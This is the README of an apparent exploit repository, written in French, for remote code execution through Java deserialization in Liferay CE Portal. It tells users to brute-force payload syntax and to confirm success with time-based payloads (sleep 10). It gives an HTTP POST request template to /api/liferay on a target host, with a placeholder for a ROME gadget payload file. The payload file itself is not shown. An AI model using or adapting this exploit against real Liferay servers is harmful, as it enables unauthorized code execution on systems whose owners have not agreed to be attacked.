Liferay-CE-Portal-Java-Deserialization

Ce dépôt contient un PoC pour la vulnérabilité d'exécution de code à distance de Liferay CE Portal !

Payloads

J'ai déjà partagé des payloads dans le dépôt. Vous devez trouver la bonne syntaxe par force brute.Les payloads que je partage sont destinés à une preuve de concept basée sur le temps (sleep 10). L'application peut ne pas toujours afficher la sortie de la commande. C'est pourquoi vous devriez essayer un payload basé sur le temps lors du PoC.

Preuve de concept

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

Exemple de PoC (sleep 10)